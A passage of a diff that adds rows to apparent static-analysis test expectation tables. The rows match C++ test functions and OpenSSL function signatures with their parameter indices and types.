SSL_SESSION_get_master_key | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | +| vector.cpp:454:7:454:12 | memcpy | (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | +| vector.cpp:454:7:454:12 | memcpy | (int *,int *,size_t) | | EVP_PBE_get | 2 | +| vector.cpp:454:7:454:12 | memcpy | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | +| vector.cpp:454:7:454:12 | memcpy | (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | +| vector.cpp:454:7:454:12 | memcpy | (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | +| vector.cpp:454:7:454:12 | memcpy | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| vector.cpp:454:7:454:12 | memcpy | (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | +| vector.cpp:454:7:454:12 | memcpy | (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | +| vector.cpp:454:7:454:12 | memcpy | (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 4 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 1 | +| zmq.cpp:17:6:17:13 | test_zmc | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,int,size_t) | | WPACKET_memset | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 1 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 1 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 1 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (int *,int *,size_t) | | EVP_PBE_get | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | getSignatureParameterName +| (..(*)(..)) | | ASN1_SCTX_new | 0 | ..(*)(..) | +| (..(*)(..)) | | ossl_pqueue_new | 0 | ..(*)(..) | +| (..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | X509_CRL_METHOD_new | 0 | ..(*)(..) | +| (..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | X509_CRL_METHOD_new | 1 | ..(*)(..) | +| (..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | X509_CRL_METHOD_new | 2 | ..(*)(..) | +| (..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | X509_CRL_METHOD_new | 3 | ..(*)(..) | +| (..(*)(..),d2i_of_void *,BIO *,void **) | | ASN1_d2i_bio | 0 | ..(*)(..) | +| (..(*)(..),d2i_of_void *,BIO *,void **) | | ASN1_d2i_bio | 1 | d2i_of_void * | +| (..(*)(..),d2i_of_void *,BIO *,void **) | | ASN1_d2i_bio | 2 | BIO * | +| (..(*)(..),d2i_of_void *,BIO *,void **) | | ASN1_d2i_bio | 3 | void ** | +| (..(*)(..),d2i_of_void *,FILE *,void **) | | ASN1_d2i_fp | 0 | ..(*)(..) | +| (..(*)(..),d2i_of_void *,FILE *,void **) | | ASN1_d2i_fp | 1 | d2i_of_void * | +| (..(*)(..),d2i_of_void *,FILE *,void **) | | ASN1_d2i_fp | 2 | FILE * | +| (..(*)(..),d2i_of_void *,FILE *,void **) | | ASN1_d2i_fp | 3 | void ** | +| (..(*)(..),void *) | | OSSL_STORE_do_all_loaders | 0 | ..(*)(..) | +| (..(*)(..),void *) | | OSSL_STORE_do_all_loaders | 1 | void * | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 0 | ..(*)(..) | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 1 | void * | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 2 | OSSL_STATM * | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 3 | const OSSL_CC_METHOD * | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 4 | OSSL_CC_DATA * | +| (ACCESS_DESCRIPTION *) | | ACCESS_DESCRIPTION_free | 0 | ACCESS_DESCRIPTION * | +| (ACCESS_DESCRIPTION **,const unsigned char **,long) | | d2i_ACCESS_DESCRIPTION | 0 | ACCESS_DESCRIPTION ** | +| (ACCESS_DESCRIPTION **,const unsigned char **,long) | | d2i_ACCESS_DESCRIPTION | 1 | const unsigned char ** | +| (ACCESS_DESCRIPTION **,const unsigned char **,long) | | d2i_ACCESS_DESCRIPTION | 2 | long | +| (ADMISSIONS *) | | ADMISSIONS_free | 0 | ADMISSIONS * | +| (ADMISSIONS **,const unsigned char **,long) | | d2i_ADMISSIONS | 0 | ADMISSIONS ** | +| (ADMISSIONS **,const unsigned char **,long) | | d2i_ADMISSIONS | 1 | const unsigned char ** | +| (ADMISSIONS **,const unsigned char **,long) | | d2i_ADMISSIONS | 2 | long | +| (ADMISSIONS *,GENERAL_NAME *) | | ADMISSIONS_set0_admissionAuthority | 0 | ADMISSIONS * | +| (ADMISSIONS *,GENERAL_NAME *) | | ADMISSIONS_set0_admissionAuthority | 1 | GENERAL_NAME * | +| (ADMISSIONS *,NAMING_AUTHORITY *) | | ADMISSIONS_set0_namingAuthority | 0 | ADMISSIONS * | +| (ADMISSIONS *,NAMING_AUTHORITY *) | | ADMISSIONS_set0_namingAuthority | 1 | NAMING_AUTHORITY * | +| (ADMISSIONS *,PROFESSION_INFOS *) | | ADMISSIONS_set0_professionInfos | 0 | ADMISSIONS * | +| (ADMISSIONS *,PROFESSION_INFOS *) | | ADMISSIONS_set0_professionInfos | 1 | PROFESSION_INFOS * | +| (ADMISSION_SYNTAX *) | | ADMISSION_SYNTAX_free | 0 | ADMISSION_SYNTAX * | +| (ADMISSION_SYNTAX **,const unsigned char **,long) | | d2i_ADMISSION_SYNTAX | 0 | ADMISSION_SYNTAX ** | +| (ADMISSION_SYNTAX **,const unsigned char **,long) | | d2i_ADMISSION_SYNTAX | 1 | const unsigned char ** | +| (ADMISSION_SYNTAX **,const unsigned char **,long) | | d2i_ADMISSION_SYNTAX | 2 | long | +| (ADMISSION_SYNTAX *,GENERAL_NAME *) | | ADMISSION_SYNTAX_set0_admissionAuthority | 0 | ADMISSION_SYNTAX * | +| (ADMISSION_SYNTAX *,GENERAL_NAME *) | | ADMISSION_SYNTAX_set0_admissionAuthority | 1 | GENERAL_NAME * | +| (ADMISSION_SYNTAX *,stack_st_ADMISSIONS *) | | ADMISSION_SYNTAX_set0_contentsOfAdmissions | 0 | ADMISSION_SYNTAX * | +| (ADMISSION_SYNTAX *,stack_st_ADMISSIONS *) | | ADMISSION_SYNTAX_set0_contentsOfAdmissions | 1 | stack_st_ADMISSIONS * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 0 | AES_KEY * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 1 | const unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 2 | unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 3 | const unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 4 | unsigned int | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 0 | AES_KEY * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 1 | const unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 2 | unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 3 | const unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 4 | unsigned int | +| (ARGS *,char *) | | chopup_args | 0 | ARGS * | +| (ARGS *,char *) | | chopup_args | 1 | char * | +| (ASIdOrRange *) | | ASIdOrRange_free | 0 | ASIdOrRange * | +| (ASIdOrRange **,const unsigned char **,long) | | d2i_ASIdOrRange | 0 | ASIdOrRange ** | +| (ASIdOrRange **,const unsigned char **,long) | | d2i_ASIdOrRange | 1 | const unsigned char ** | +| (ASIdOrRange **,const unsigned char **,long) | | d2i_ASIdOrRange | 2 | long | +| (ASIdentifierChoice *) | | ASIdentifierChoice_free | 0 | ASIdentifierChoice * | +| (ASIdentifierChoice **,const unsigned char **,long) | | d2i_ASIdentifierChoice | 0 | ASIdentifierChoice ** | +| (ASIdentifierChoice **,const unsigned char **,long) | | d2i_ASIdentifierChoice | 1 | const unsigned char ** | +| (ASIdentifierChoice **,const unsigned char **,long) | | d2i_ASIdentifierChoice | 2 | long | +| (ASIdentifiers *) | | ASIdentifiers_free | 0 | ASIdentifiers * | +| (ASIdentifiers **,const unsigned char **,long) | | d2i_ASIdentifiers | 0 | ASIdentifiers ** | +| (ASIdentifiers **,const unsigned char **,long) | | d2i_ASIdentifiers | 1 | const unsigned char ** | +| (ASIdentifiers **,const unsigned char **,long) | | d2i_ASIdentifiers | 2 | long | +| (ASN1_BIT_STRING 